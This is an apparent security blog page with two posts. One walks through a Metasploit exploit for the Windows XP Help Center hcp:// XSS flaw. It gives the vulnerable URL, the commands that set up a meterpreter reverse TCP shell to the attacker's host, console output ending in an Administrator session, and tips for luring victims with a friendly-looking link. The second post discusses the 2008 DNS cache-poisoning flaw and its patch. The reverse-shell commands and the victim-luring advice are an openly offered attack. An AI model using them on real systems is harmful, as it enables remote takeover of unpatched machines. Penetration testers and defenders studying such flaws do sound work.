Showing posts with label exploit. Show all posts
Showing posts with label exploit. Show all posts

Monday, June 14, 2010

Windows XP Help Center Client Side Attack



With the patch Tuesday release of XP zero days last week i started checking around for Proof of concepts and ran across the following posts.

The above advisories are for windows XP which many businesses still run, and utilizes a XSS attack which many developers and site owners feel isn't really a threat, read below to find out why XSS is dangerous.


After reading the above advisories I checked in metasploit and a working exploit is already available within the exploit framework.

If you are on an internal or client side test penetration test you generally see most clients running windows XP and generally outdated browsers. They are either using IE6 or IE7 or IE8. The above advisories describe a way of using a cross site scripting attack to gain full control of the victim. The essence of this attack is that an un-handled XSS is utilized in hcp://system/sysinfo/sysinfomain.htm?svr=, which can be directly accessed via a url in a browser. By using a defer in a XSS to execute a script in a privileged zone a windows popup is bypassed thus not needing a victim to click any annoying popups to make the attack work.


<script defer>code</script>

"due to insufficient escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
to a DOM-type XSS. However, the escaping routine will abort encoding if characters such as '=' or '"' or others are specified. "



The help center exploit works on xp sp2 and sp3 which covers most clients in most companies. I do not see many companies running vista or windows7.... IE6 and IE7 browsers are vulnerable to this attack without a popup however IE8 works but with a user popup box unless the victim is running certain versions of media player... I also just tested this with a IE8 browser running in comparability mode... When the client visited the page Automatically the exploit pulled up the help docs and gave me a meterpreter shell, wooooot
I am thinking this would be a good exploit to use in client side penetration tests... So below is the info and a quick usage of the exploit...



Module Name:
ms10_xxx_helpctr_xss_cmd_exec

Below is a description and then usage of the module... give it a try...

Description: (From Metasploit)
"Help and Support Center is the default application provided to
access online documentation for Microsoft Windows. Microsoft
supports accessing help documents directly via URLs by installing a
protocol handler for the scheme "hcp". Due to an error in validation
of input to hcp:// combined with a local cross site scripting
vulnerability and a specialized mechanism to launch the XSS trigger,
arbitrary command execution can be achieved. On IE6 and IE7 on XP
SP2 or SP3, code execution is automatic. On IE8, a dialog box pops,
but if WMP9 is installed, WMP9 can be used for automatic execution.
If IE8 and WMP11, a dialog box will ask the user if execution should
continue. Automatic detection of these options is implemented in
this module, and will default to not sending the exploit for
IE8/WMP11 unless the option is overridden."

Simple Usage Example:
msf > use windows/browser/ms10_xxx_helpctr_xss_cmd_exec
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > set LPORT 5555
LPORT => 5555
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.10:5555
[*] Using URL: https://mail.securestate.net/owa/redir.aspx?C=e81037485a8540388c6fd5dd620d1273&URL=http%3a%2f%2f0.0.0.0%3a80%2f
[*] Local IP: https://mail.securestate.net/owa/redir.aspx?C=e81037485a8540388c6fd5dd620d1273&URL=http%3a%2f%2f192.168.1.10%3a80%2f
[*] Server started.



Send Your Link to the Victim and wait:
Now send the victim out a link to your IP address via email or chat. Generally i would have a registered URL that looks friendly and send them that URL in order to not look too suspicious.

msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > [*] Request for "/" does not contain a sub-directory, redirecting to /c3hfRM5Kh/ ...
[*] Sending Microsoft Help Center XSS and Command Execution to 192.168.1.11:1295...
[*] Responding to request for exploit iframe at 192.168.1.11:1295...
[*] Request for "/" does not contain a sub-directory, redirecting to /ETnOhHE9EqYirlA/ ...
[*] Responding to WebDAV OPTIONS request from 192.168.1.11:1305
[*] Request for "/Vl" does not contain a sub-directory, redirecting to /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending directory multistatus for /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending EXE multistatus for /Vl/ly.exe ...
[*] Request for "/Vl" does not contain a sub-directory, redirecting to /Vl/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1305
[*] Sending directory multistatus for /Vl/ ...
[*] GET for payload received.
[*] Sending stage (748032 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.10:5555 -> 192.168.1.11:1306) at Fri Jun 11 18:10:38 -0400 2010

msf exploit(ms10_xxx_helpctr_xss_
cmd_exec) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter EXPLOIT\Administrator @ EXPLOIT 192.168.1.10:5555 -> 192.168.1.11:1291
msf exploit(ms10_xxx_helpctr_xss_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: EXPLOIT\Administrator



Final Notes:
With the coming of a new patch tuesday, a whole slew of exploits are available for windows XP. The moral of the story is, UPDATE YOUR SYSTEMS.The metasploit module above sets up a server and waits for your victim to make a connection, when the victim does make a connection a help window is opened and they are silently owned.... More then likely the victim will just think windows is acting up as windows usually does or perhaps the user accidentally clicked something :) :)




Read more!

Tuesday, July 22, 2008

The big DNS security hole hype exposed

Dan Kaminsky released a little bit ago a joint effort to fix a major and "critical" security flaw with multiple vendors regarding DNS. Dan had stated he was not going to release the vulnerability until his BlackHat speaking in July, but it appears it was already leaked.

DNS Cache Poisoning is nothing new, on July 22, 1999 Hillary Clinton's site was subject to DNS cache poisoning:

http://www.cnn.com/TECH/computing/9907/22/hillary.idg/

It appears that the vulnerability itself is due to predictable TXID's and the lack of port randomization in DNS. Based on TXID inspection (and the blog from Microsoft) it appears that the 4-8 bits are predictable and are able to determine the PRNG state and predict the TXID.

To fix DNS Cache Poisoning, the PRNG algorithm was applied to the TXID or transaction ID's. The vulnerability lies within TXID where the 4-8 bits are predictable allowing the attacker to predict the next TXID. Here's how the attack is suppose to work (hypothetically):

Attacker queries nameserverA for yahoo.com's IP address through DNS. nameserverA doesn't know the IP of yahoo.com. nameserverA goes to the root name servers and says wheres the listings for .com, nameserverA goes to the listings for all .com and looks for the authoritative DNS server for yahoo.com. After that the IP is resolved and you can browse normally to yahoo.com. Where the attack is performed is the request from nameserverA to the authoritative DNS server, when nameserverA sends a request to the root server, the root server sends back a "referral" which tells nameserverA where to go for the .com listings. Contained in this exchange of information is the TXID. It keeps going down the list to various DNS servers, ultimately to the authoritative DNS server.

Our guess at where the attack occurs is the response back from the root server to respond on where yahoo.com's server resides. If an attacker can spoof a valid TXID and say yahoo.com's nameserver is really at ns.badhacker.com and not ns.yahoo.com and ultimately resolves to 1.1.1.1 instead of 2.2.2.2, we can perform cache poisoning of that name server.

So initial speculations that this is bad is pretty accurate and why all the hush was kept to allow all vendors to patch the systems accordingly. Kudos goes out to Dan Kaminsky for taking all of the scrutiny over all of this and allowing vendors time to patch the systems to something that was in fact not just hype but could have major implications if exploited successfully.

I hope all of your DNS servers are patched, a POC should be pretty easy to write off of this.

Special thanks to Microsoft for releasing details about the patch and letting us know what the vulnerability was:

http://blogs.technet.com/swi/archive/2008/04/09/ms08-020-how-predictable-is-the-dns-transaction-id.aspx

Special thanks to John Melvin from SecureState for helping me out on this.

Again this is purely hypothetical, this hasn't been confirmed nor denied.

UPDATE: Update to this post, it appears that it has been confirmed and found by Halvar Flake blog. In addition matasano also discovered it but the site was put up temporarily and taken down when discovered, a mirrored site can be found at: http://beezari.livejournal.com/141796.html. Patch your servers folks!

PATCH: What the patch appears to do, pretty cut and dry, it makes the TXID truly random and randomizes the DNS ports pretty much making this attack useless.

Read more!